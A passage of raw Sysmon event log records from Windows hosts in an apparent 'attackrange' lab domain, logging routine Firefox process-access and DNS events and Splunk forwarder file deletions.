Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 23542300x800000000000000051300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:38.160{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53E09DF36E99ABC75FCE5E6FD521EC6B,SHA256=FC4337127CCDC1229C5DC9D30EFB407615601D846C7EAB2A76D21464F009EE00,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:38.001{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.997{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 22542200x800000000000000051318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.672{7BD73061-728D-613B-560B-00000000F001}4776cs22.wpc.v0cdn.net9501-C:\Program Files\Mozilla Firefox\firefox.exe 22542200x800000000000000051317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:37.494{7BD73061-728D-613B-560B-00000000F001}4776cs22.wpc.v0cdn.net0152.199.19.160;C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000051316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.342{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.342{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 23542300x800000000000000051314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.291{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A03491E3FEB2FDDA3A24B62D74CCF59B,SHA256=A7127D7BA06D597DDAB84C86283A8428CD5407A7DA70CC231D6DD6DA097DB8BF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016454Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:39.019{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=89F8333597CF5F12458FEEE9C073BA6C,SHA256=BD664F3BDB8A6D2524EB24DDFF7049EA37DFE03943CF98B301A7EC6CEB3C2A9C,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.229{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.229{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.070{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 10341000x800000000000000051310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:39.070{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b55c5a|C:\Program Files\Mozilla Firefox\xul.dll+2d9649|C:\Program Files\Mozilla Firefox\xul.dll+2d9554|C:\Program Files\Mozilla Firefox\xul.dll+2d933d|C:\Program Files\Mozilla Firefox\xul.dll+2d91d4|C:\Program Files\Mozilla Firefox\xul.dll+ba1993|C:\Program Files\Mozilla Firefox\xul.dll+ba2691|C:\Program Files\Mozilla Firefox\xul.dll+ba168d|C:\Program Files\Mozilla Firefox\xul.dll+ba15e2|C:\Program Files\Mozilla Firefox\xul.dll+b723b2|C:\Program Files\Mozilla Firefox\xul.dll+1a1b580|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda 23542300x800000000000000051342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.832{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C800928471B1B94418AB01B938DC9FD,SHA256=DAB7FB3EF341B38BE580877C15D517C22D4EBB6C4F1540F5246073A626D1A382,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\prefs-1.jsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000051340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.443{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 23542300x800000000000000016455Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:40.050{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=15DE77EA5367FC0D6644874879DC8193,SHA256=989EB485103DC430556CC99795C8FA646FE8482D75BEFE4C1014CF32933AE771,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000051339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.379{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+bee203|C:\Program Files\Mozilla Firefox\xul.dll+bed8a1|C:\Program Files\Mozilla Firefox\xul.dll+be54a3|C:\Program Files\Mozilla Firefox\xul.dll+beec50|C:\Program Files\Mozilla Firefox\xul.dll+faf709|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457|C:\Program Files\Mozilla Firefox\xul.dll+2cbfda|C:\Program Files\Mozilla Firefox\xul.dll+ea7e38|C:\Program Files\Mozilla Firefox\xul.dll+ea7972|C:\Program Files\Mozilla Firefox\xul.dll+2b4572|C:\Program Files\Mozilla Firefox\xul.dll+1ab7d5f|C:\Program Files\Mozilla Firefox\xul.dll+f0bba0 10341000x800000000000000051338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.370{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.334{7BD73061-728D-613B-560B-00000000F001}47766944C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ed1a7e|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000051336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.321{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a0d439|C:\Program Files\Mozilla Firefox\xul.dll+a0d35a|C:\Program Files\Mozilla Firefox\xul.dll+a0cf49|C:\Program Files\Mozilla Firefox\xul.dll+a090df|C:\Program Files\Mozilla Firefox\xul.dll+a093ec|C:\Program Files\Mozilla Firefox\xul.dll+b5f85d|C:\Program Files\Mozilla Firefox\xul.dll+b6f7fa|C:\Program Files\Mozilla Firefox\xul.dll+b4ce69|C:\Program Files\Mozilla Firefox\xul.dll+b625a0|C:\Program Files\Mozilla Firefox\xul.dll+1a1a5c2|C:\Program Files\Mozilla Firefox\xul.dll+19205a2|C:\Program Files\Mozilla Firefox\xul.dll+191e8cd|C:\Program Files\Mozilla Firefox\xul.dll+3858d8|C:\Program Files\Mozilla Firefox\xul.dll+fb7376|C:\Program Files\Mozilla Firefox\xul.dll+fb6c0d|C:\Program Files\Mozilla Firefox\xul.dll+fb6e03|C:\Program Files\Mozilla Firefox\xul.dll+1a1b54f|C:\Program Files\Mozilla Firefox\xul.dll+b78344|C:\Program Files\Mozilla Firefox\xul.dll+fca4c4|C:\Program Files\Mozilla Firefox\xul.dll+f36457 10341000x800000000000000051335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.285{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f3e|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+39d8dfc|C:\Program Files\Mozilla Firefox\xul.dll+39d918d|C:\Program Files\Mozilla Firefox\xul.dll+36adc36|C:\Program Files\Mozilla Firefox\xul.dll+2db69c6|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+161355|C:\Program Files\Mozilla Firefox\xul.dll+1b5d936 10341000x800000000000000051334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.285{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f17|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+39d8dfc|C:\Program Files\Mozilla Firefox\xul.dll+39d918d|C:\Program Files\Mozilla Firefox\xul.dll+36adc36|C:\Program Files\Mozilla Firefox\xul.dll+2db69c6|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+161355|C:\Program Files\Mozilla Firefox\xul.dll+1b5d936 10341000x800000000000000051333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:40.284{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7eec|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla 